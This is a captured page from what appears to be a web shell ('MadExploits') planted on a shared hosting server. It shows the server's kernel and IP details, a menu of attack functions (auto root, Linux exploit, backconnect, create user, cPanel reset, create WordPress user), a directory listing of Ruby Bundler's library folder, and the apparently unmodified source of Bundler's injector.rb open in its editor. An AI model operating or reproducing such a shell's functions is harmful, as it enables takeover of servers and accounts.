Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 18.116.49.23
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby31 /
share /
gems /
gems /
bundler-2.3.27 /
lib /
bundler /
[ HOME SHELL ]
Name
Size
Permission
Action
cli
[ DIR ]
drwxr-xr-x
compact_index_client
[ DIR ]
drwxr-xr-x
fetcher
[ DIR ]
drwxr-xr-x
installer
[ DIR ]
drwxr-xr-x
man
[ DIR ]
drwxr-xr-x
plugin
[ DIR ]
drwxr-xr-x
resolver
[ DIR ]
drwxr-xr-x
settings
[ DIR ]
drwxr-xr-x
source
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
ui
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
build_metadata.rb
1.2
KB
-rw-r--r--
capistrano.rb
883
B
-rw-r--r--
cli.rb
38.91
KB
-rw-r--r--
compact_index_client.rb
3.36
KB
-rw-r--r--
constants.rb
212
B
-rw-r--r--
current_ruby.rb
2.41
KB
-rw-r--r--
definition.rb
29.86
KB
-rw-r--r--
dependency.rb
3.09
KB
-rw-r--r--
deployment.rb
3.19
KB
-rw-r--r--
deprecate.rb
876
B
-rw-r--r--
digest.rb
2.17
KB
-rw-r--r--
dsl.rb
19.97
KB
-rw-r--r--
endpoint_specification.rb
3.73
KB
-rw-r--r--
env.rb
5.02
KB
-rw-r--r--
environment_preserver.rb
1.94
KB
-rw-r--r--
errors.rb
5.36
KB
-rw-r--r--
feature_flag.rb
1.86
KB
-rw-r--r--
fetcher.rb
11.05
KB
-rw-r--r--
friendly_errors.rb
3.99
KB
-rw-r--r--
gem_helper.rb
6.93
KB
-rw-r--r--
gem_helpers.rb
4.08
KB
-rw-r--r--
gem_tasks.rb
138
B
-rw-r--r--
gem_version_promoter.rb
6
KB
-rw-r--r--
graph.rb
4.99
KB
-rw-r--r--
index.rb
4.51
KB
-rw-r--r--
injector.rb
10.08
KB
-rw-r--r--
inline.rb
2.55
KB
-rw-r--r--
installer.rb
10.65
KB
-rw-r--r--
lazy_specification.rb
5.3
KB
-rw-r--r--
lockfile_generator.rb
2.17
KB
-rw-r--r--
lockfile_parser.rb
7.02
KB
-rw-r--r--
match_metadata.rb
290
B
-rw-r--r--
match_platform.rb
583
B
-rw-r--r--
match_remote_metadata.rb
863
B
-rw-r--r--
mirror.rb
5.82
KB
-rw-r--r--
plugin.rb
11.25
KB
-rw-r--r--
process_lock.rb
686
B
-rw-r--r--
remote_specification.rb
3.83
KB
-rw-r--r--
resolver.rb
13.33
KB
-rw-r--r--
retry.rb
1.61
KB
-rw-r--r--
ruby_dsl.rb
760
B
-rw-r--r--
ruby_version.rb
4.2
KB
-rw-r--r--
rubygems_ext.rb
10.46
KB
-rw-r--r--
rubygems_gem_installer.rb
5.21
KB
-rw-r--r--
rubygems_integration.rb
15.94
KB
-rw-r--r--
runtime.rb
10.3
KB
-rw-r--r--
self_manager.rb
4.76
KB
-rw-r--r--
settings.rb
13.41
KB
-rw-r--r--
setup.rb
776
B
-rw-r--r--
shared_helpers.rb
10.69
KB
-rw-r--r--
similarity_detector.rb
1.84
KB
-rw-r--r--
source.rb
3.04
KB
-rw-r--r--
source_list.rb
6.04
KB
-rw-r--r--
source_map.rb
2.17
KB
-rw-r--r--
spec_set.rb
4.87
KB
-rw-r--r--
stub_specification.rb
2.79
KB
-rw-r--r--
ui.rb
255
B
-rw-r--r--
uri_credentials_filter.rb
1.28
KB
-rw-r--r--
vendored_fileutils.rb
101
B
-rw-r--r--
vendored_molinillo.rb
101
B
-rw-r--r--
vendored_persistent.rb
1.44
KB
-rw-r--r--
vendored_thor.rb
180
B
-rw-r--r--
vendored_tmpdir.rb
95
B
-rw-r--r--
vendored_tsort.rb
93
B
-rw-r--r--
vendored_uri.rb
89
B
-rw-r--r--
version.rb
180
B
-rw-r--r--
version_ranges.rb
3.8
KB
-rw-r--r--
vlad.rb
468
B
-rw-r--r--
worker.rb
2.89
KB
-rw-r--r--
yaml_serializer.rb
2.36
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : injector.rb
# frozen_string_literal: true module Bundler class Injector INJECTED_GEMS = "injected gems".freeze def self.inject(new_deps, options = {}) injector = new(new_deps, options) injector.inject(Bundler.default_gemfile, Bundler.default_lockfile) end def self.remove(gems, options = {}) injector = new(gems, options) injector.remove(Bundler.default_gemfile, Bundler.default_lockfile) end def initialize(deps, options = {}) @deps = deps @options = options end # @param [Pathname] gemfile_path The Gemfile in which to inject the new dependency. # @param [Pathname] lockfile_path The lockfile in which to inject the new dependency. # @return [Array] def inject(gemfile_path, lockfile_path) if Bundler.frozen_bundle? # ensure the lock and Gemfile are synced Bundler.definition.ensure_equivalent_gemfile_and_lockfile(true) end # temporarily unfreeze Bundler.settings.temporary(:deployment => false, :frozen => false) do # evaluate the Gemfile we have now builder = Dsl.new builder.eval_gemfile(gemfile_path) # don't inject any gems that are already in the Gemfile @deps -= builder.dependencies # add new deps to the end of the in-memory Gemfile # Set conservative versioning to false because # we want to let the resolver resolve the version first builder.eval_gemfile(INJECTED_GEMS, build_gem_lines(false)) if @deps.any? # resolve to see if the new deps broke anything @definition = builder.to_definition(lockfile_path, {}) @definition.resolve_remotely! # since nothing broke, we can add those gems to the gemfile append_to(gemfile_path, build_gem_lines(@options[:conservative_versioning])) if @deps.any? # since we resolved successfully, write out the lockfile @definition.lock(Bundler.default_lockfile) # invalidate the cached Bundler.definition Bundler.reset_paths! # return an array of the deps that we added @deps end end # @param [Pathname] gemfile_path The Gemfile from which to remove dependencies. # @param [Pathname] lockfile_path The lockfile from which to remove dependencies. # @return [Array] def remove(gemfile_path, lockfile_path) # remove gems from each gemfiles we have Bundler.definition.gemfiles.each do |path| deps = remove_deps(path) show_warning("No gems were removed from the gemfile.") if deps.empty? deps.each {|dep| Bundler.ui.confirm "#{SharedHelpers.pretty_dependency(dep)} was removed." } end # Invalidate the cached Bundler.definition. # This prevents e.g. `bundle remove ...` from using outdated information. Bundler.reset_paths! end private def conservative_version(spec) version = spec.version return ">= 0" if version.nil? segments = version.segments seg_end_index = version >= Gem::Version.new("1.0") ? 1 : 2 prerelease_suffix = version.to_s.gsub(version.release.to_s, "") if version.prerelease? "#{version_prefix}#{segments[0..seg_end_index].join(".")}#{prerelease_suffix}" end def version_prefix if @options[:strict] "= " elsif @options[:optimistic] ">= " else "~> " end end def build_gem_lines(conservative_versioning) @deps.map do |d| name = d.name.dump requirement = if conservative_versioning ", \"#{conservative_version(@definition.specs[d.name][0])}\"" else ", #{d.requirement.as_list.map(&:dump).join(", ")}" end if d.groups != Array(:default) group = d.groups.size == 1 ? ", :group => #{d.groups.first.inspect}" : ", :groups => #{d.groups.inspect}" end source = ", :source => \"#{d.source}\"" unless d.source.nil? path = ", :path => \"#{d.path}\"" unless d.path.nil? git = ", :git => \"#{d.git}\"" unless d.git.nil? github = ", :github => \"#{d.github}\"" unless d.github.nil? branch = ", :branch => \"#{d.branch}\"" unless d.branch.nil? ref = ", :ref => \"#{d.ref}\"" unless d.ref.nil? require_path = ", :require => #{convert_autorequire(d.autorequire)}" unless d.autorequire.nil? %(gem #{name}#{requirement}#{group}#{source}#{path}#{git}#{github}#{branch}#{ref}#{require_path}) end.join("\n") end def append_to(gemfile_path, new_gem_lines) gemfile_path.open("a") do |f| f.puts f.puts new_gem_lines end end # evaluates a gemfile to remove the specified gem # from it. def remove_deps(gemfile_path) initial_gemfile = File.readlines(gemfile_path) Bundler.ui.info "Removing gems from #{gemfile_path}" # evaluate the Gemfile we have builder = Dsl.new builder.eval_gemfile(gemfile_path) removed_deps = remove_gems_from_dependencies(builder, @deps, gemfile_path) # abort the operation if no gems were removed # no need to operate on gemfile further return [] if removed_deps.empty? cleaned_gemfile = remove_gems_from_gemfile(@deps, gemfile_path) SharedHelpers.write_to_gemfile(gemfile_path, cleaned_gemfile) # check for errors # including extra gems being removed # or some gems not being removed # and return the actual removed deps cross_check_for_errors(gemfile_path, builder.dependencies, removed_deps, initial_gemfile) end # @param [Dsl] builder Dsl object of current Gemfile. # @param [Array] gems Array of names of gems to be removed. # @param [Pathname] gemfile_path Path of the Gemfile. # @return [Array] Array of removed dependencies. def remove_gems_from_dependencies(builder, gems, gemfile_path) removed_deps = [] gems.each do |gem_name| deleted_dep = builder.dependencies.find {|d| d.name == gem_name } if deleted_dep.nil? raise GemfileError, "`#{gem_name}` is not specified in #{gemfile_path} so it could not be removed." end builder.dependencies.delete(deleted_dep) removed_deps << deleted_dep end removed_deps end # @param [Array] gems Array of names of gems to be removed. # @param [Pathname] gemfile_path The Gemfile from which to remove dependencies. def remove_gems_from_gemfile(gems, gemfile_path) patterns = /gem\s+(['"])#{Regexp.union(gems)}\1|gem\s*\((['"])#{Regexp.union(gems)}\2\)/ new_gemfile = [] multiline_removal = false File.readlines(gemfile_path).each do |line| match_data = line.match(patterns) if match_data && is_not_within_comment?(line, match_data) multiline_removal = line.rstrip.end_with?(",") # skip lines which match the regex next end # skip followup lines until line does not end with ',' new_gemfile << line unless multiline_removal multiline_removal = line.rstrip.end_with?(",") if multiline_removal end # remove line \n and append them with other strings new_gemfile.each_with_index do |_line, index| if new_gemfile[index + 1] == "\n" new_gemfile[index] += new_gemfile[index + 1] new_gemfile.delete_at(index + 1) end end %w[group source env install_if].each {|block| remove_nested_blocks(new_gemfile, block) } new_gemfile.join.chomp end # @param [String] line Individual line of gemfile content. # @param [MatchData] match_data Data about Regex match. def is_not_within_comment?(line, match_data) match_start_index = match_data.offset(0).first !line[0..match_start_index].include?("#") end # @param [Array] gemfile Array of gemfile contents. # @param [String] block_name Name of block name to look for. def remove_nested_blocks(gemfile, block_name) nested_blocks = 0 # count number of nested blocks gemfile.each_with_index {|line, index| nested_blocks += 1 if !gemfile[index + 1].nil? && gemfile[index + 1].include?(block_name) && line.include?(block_name) } while nested_blocks >= 0 nested_blocks -= 1 gemfile.each_with_index do |line, index| next unless !line.nil? && line.strip.start_with?(block_name) if gemfile[index + 1] =~ /^\s*end\s*$/ gemfile[index] = nil gemfile[index + 1] = nil end end gemfile.compact! end end # @param [Pathname] gemfile_path The Gemfile from which to remove dependencies. # @param [Array] original_deps Array of original dependencies. # @param [Array] removed_deps Array of removed dependencies. # @param [Array] initial_gemfile Contents of original Gemfile before any operation. def cross_check_for_errors(gemfile_path, original_deps, removed_deps, initial_gemfile) # evaluate the new gemfile to look for any failure cases builder = Dsl.new builder.eval_gemfile(gemfile_path) # record gems which were removed but not requested extra_removed_gems = original_deps - builder.dependencies # if some extra gems were removed then raise error # and revert Gemfile to original unless extra_removed_gems.empty? SharedHelpers.write_to_gemfile(gemfile_path, initial_gemfile.join) raise InvalidOption, "Gems could not be removed. #{extra_removed_gems.join(", ")} would also have been removed. Bundler cannot continue." end # record gems which could not be removed due to some reasons errored_deps = builder.dependencies.select {|d| d.gemfile == gemfile_path } & removed_deps.select {|d| d.gemfile == gemfile_path } show_warning "#{errored_deps.map(&:name).join(", ")} could not be removed." unless errored_deps.empty? # return actual removed dependencies removed_deps - errored_deps end def show_warning(message) Bundler.ui.info Bundler.ui.add_color(message, :yellow) end def convert_autorequire(autorequire) autorequire = autorequire.first return autorequire if autorequire == "false" autorequire.inspect end end end
Close